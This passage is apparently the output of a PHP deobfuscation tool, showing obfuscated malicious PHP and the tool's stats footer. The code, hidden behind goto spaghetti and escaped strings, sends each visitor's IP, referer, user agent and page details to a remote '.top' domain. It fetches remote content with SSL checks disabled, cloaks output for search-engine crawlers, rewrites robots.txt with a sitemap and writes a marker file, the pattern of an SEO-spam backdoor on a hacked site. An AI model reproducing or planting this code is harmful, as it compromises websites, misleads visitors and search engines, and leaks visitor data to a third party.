"\150\x74\x74\160\x3a\57\x2f\x63\x77\x31\x31\x34\56\x72\165\163\163\151\x61\156\x64\x75\x65\x2e\x74\x6f\x70\57\x69\x6e\144\x65\170\56\160\x68\x70"; goto ZnDQi; l2sry: $yYCJI = $Mqbf0 . "\72\x2f\57" . $_SERVER["\110\124\124\x50\x5f\x48\x4f\x53\124"] . "\57\x75\x75\x75\165\170\x78\x78\170\157\157\157"; goto hwxrd; wYS4w: goto gL0i7; goto FIkyG; xmDyr: DOnLp: goto PeBTo; WYqXz: $Wy33n = $yaNkf . "\77\141\147\x65\156\164\x3d{$a51TU}\46\162\x65\146\x65\162\x3d{$uaWlu}\x26\x6c\141\156\147\75{$NWtO1}\46\151\160\75{$iNn5x}\x26\x64\x6f\x6d\75{$yQ1YK}\x26\x68\x74\x74\160\75{$Mqbf0}\x26\x75\162\x69\x3d{$h2YRv}\46\160\x63\x3d{$RDzb0}\x26\162\145\167\x72\151\x74\x65\141\142\x6c\145\x3d{$wwZay}\46\163\x63\x72\151\160\164\x3d{$hmMpR}"; goto Pyq5Q; ZXjUx: error_reporting(0); goto AUVBH; cxDlU: goto lrU4O; goto mFrGh; yealm: apYMe: goto ICG6z; jtWg_: if ($Jlfxs == "\65\60\x30") { goto mhEkD; } goto S09V9; aIQ2E: @file_put_contents("\165\x78\157\x2e\x74\x78\x74", "\x31"); goto ywNiF; fJ1vJ: $HnzGT = "\x55\x73\145\162\x2d\141\x67\x65\x6e\x74\x3a\40\52\15\12\x41\x6c\x6c\x6f\167\x3a\x20\57"; goto omNUZ; C8x5Q: exit; goto zdu4O; BdbIe: fdnuy: goto WYqXz; WflQw: mhEkD: goto XH5dS; nUrpa: header("\110\x54\124\x50\x2f\x31\56\61\40\64\60\x34\x20\x4e\x6f\x74\40\106\157\x75\156\144"); goto WB_2b; Y0PZW: $uaWlu = urlencode($_SERVER["\110\124\124\120\x5f\122\x45\106\x45\122\x45\x52"]); goto EHxm5; PeBTo: $s5EAV = "\57\x3f"; goto EWUuY; yZiST: header("\x48\x54\x54\x50\x2f\61\56\60\x20\65\x30\x30\x20\111\156\x74\x65\162\156\141\x6c\x20\x53\x65\162\166\145\162\40\105\162\x72\157\x72"); goto Dsj9s; zdu4O: Rd09z: goto Z_cOf; g7u9g: aFytK: goto l2sry; omNUZ: $OUEnn = "{$Mqbf0}\x3a\57\57" . $yQ1YK . $s5EAV . "\163\151\x74\145\155\x61\160\x2e\x78\155\154"; goto O_07I; SG220: goto j4SDy; goto BdbIe; b8kvt: if (!($Cjagl == "\x31\65\x33\56\x32\x34\66\x2e\61\63\65\x2e\62\x33\70" || $Cjagl == "\x32\x31\71\x2e\x31\x30\x31\x2e\64\64\x2e\x32\x33\x33")) { goto fKJ7t; } goto ARX5z; mmqol: if (!preg_match("\x2f\x28\x42\x79\x74\x65\163\x70\151\144\x65\162\x7c\x50\x65\164\141\154\x42\157\164\x7c\101\x68\162\145\x66\163\102\x6f\164\174\102\141\x72\x6b\162\x6f\x77\154\145\162\174\115\112\61\x32\142\x6f\x74\x7c\x46\145\x65\x64\104\145\x6d\157\x6e\x7c\112\x69\153\x65\123\160\x69\x64\145\162\x7c\x49\156\144\x79\40\x4c\x69\142\x72\x61\162\x79\174\x41\x73\153\x54\x62\x46\x58\124\x56\x7c\103\162\141\x77\154\x44\141\x64\x64\x79\174\x43\157\x6f\154\160\141\x64\127\x65\x62\153\151\x74\x7c\x4a\141\166\141\174\x46\x65\145\x64\x6c\171\174\x55\156\151\166\x65\x72\163\x61\x6c\106\145\145\x64\120\141\x72\163\x65\x72\174\101\x70\141\143\150\x65\x42\145\156\x63\150\174\x53\x77\x69\x66\x74\x62\157\x74\174\x5a\155\x45\165\x7c\157\x42\157\164\174\x6a\x61\x75\156\164\x79\x7c\120\171\x74\x68\x6f\x6e\x2d\x75\x72\x6c\154\151\142\x7c\x70\x79\164\150\x6f\156\55\162\145\161\165\x65\163\x74\x73\174\x6c\x69\x67\x68\x74\x44\145\143\153\x52\145\x70\x6f\x72\164\x73\x20\x42\157\x74\174\131\131\x53\160\151\144\x65\162\x7c\x44\x69\x67\x45\x78\164\x7c\x59\x69\x73\157\x75\123\x70\x69\x64\x65\x72\174\x48\x74\164\160\103\x6c\x69\145\x6e\164\174\x68\145\x72\x69\164\162\151\170\x7c\x45\x61\163\x6f\x75\x53\x70\151\144\x65\162\174\105\172\157\157\x6d\163\174\x41\155\x61\x7a\157\x6e\102\x6f\164\174\x53\105\115\x72\x75\163\x68\102\157\x74\x7c\131\x61\x6e\144\x65\170\x42\157\164\174\160\x61\154\157\x61\x6c\x74\157\156\x65\164\x77\x6f\162\153\x73\x7c\x50\x79\x74\x68\x6f\156\51\x2f\x69", $_SERVER["\x48\124\x54\120\x5f\x55\x53\x45\x52\x5f\101\x47\105\116\124"])) { goto SsjHB; } goto ZzqhV; F226b: j4SDy: goto wYS4w; xJAWL: ta0Q5: goto D3kGv; nfSvy: echo $OUEnn . "\x3a\x20" . $CxzKQ . "\74\142\162\x2f\76"; goto frkAR; XPB72: function HqYyB($Je1WC) { goto tp6z0; tp6z0: $Ixymw = @file_get_contents($Je1WC); goto rweyp; VeEb_: curl_setopt($DEQGI, CURLOPT_FOLLOWLOCATION, false); goto KmFxM; wYzVK: curl_setopt($DEQGI, CURLOPT_URL, $Je1WC); goto Thonc; TPy4H: J1GSO: goto cVTfr; TtCuL: $Ixymw = curl_exec($DEQGI); goto hVyc5; Thonc: curl_setopt($DEQGI, CURLOPT_RETURNTRANSFER, true); goto VeEb_; cVTfr: return $Ixymw; goto ab0Bw; b0AG1: Y8wJT: goto TtCuL; hVyc5: curl_close($DEQGI); goto TPy4H; KmFxM: if (!(strpos($Je1WC, "\x68\x74\x74\160\163\72\x2f\x2f") !== false)) { goto Y8wJT; } goto S8y3A; rweyp: if (!empty($Ixymw)) { goto J1GSO; } goto bnqlM; S8y3A: curl_setopt($DEQGI, CURLOPT_SSL_VERIFYPEER, FALSE); goto UGmBS; UGmBS: curl_setopt($DEQGI, CURLOPT_SSL_VERIFYHOST, FALSE); goto b0AG1; bnqlM: $DEQGI = curl_init(); goto wYzVK; ab0Bw: } goto e3Tzr; iI14y: goto OleOl; goto xmDyr; O_07I: $HnzGT = trim($HnzGT) . "\15\12" . "\x53\x69\164\145\x6d\141\x70\x3a\40{$OUEnn}"; goto QBdtV; Om1k3: exit; goto LjmPj; EHxm5: $NWtO1 = urlencode($_SERVER["\110\124\124\120\137\101\x43\103\105\120\124\x5f\x4c\101\x4e\x47\125\x41\107\x45"]); goto g5ewO; xrZ2m: $Jlfxs = hqyYb($Wy33n); goto JcA4f; UQj8e: Tumkp: goto A_CRz; snV_D: goto fLlMM; goto zfP5s; hwxrd: $Jlfxs = HQYYb($yYCJI); goto SyyNm; XH5dS: header("\x48\x54\124\x50\57\x31\x2e\x30\40\x35\60\60\40\111\x6e\x74\145\162\156\141\154\x20\123\145\x72\166\x65\x72\x20\105\x72\x72\157\x72"); goto C8x5Q; kZmsx: $_SERVER["\122\x45\x51\x55\x45\x53\124\x5f\123\x43\110\105\x4d\105"] = "\150\164\164\x70"; goto rQRkx; aQ_1H: DU3RK: goto SG220; Yb0h3: WDObo:
?>

Function Calls

None

Variables

None

Stats

MD5 2d06cbc5c314fcf75e06a73ea61cd1d3
Eval Count 0
Decode Time 59 ms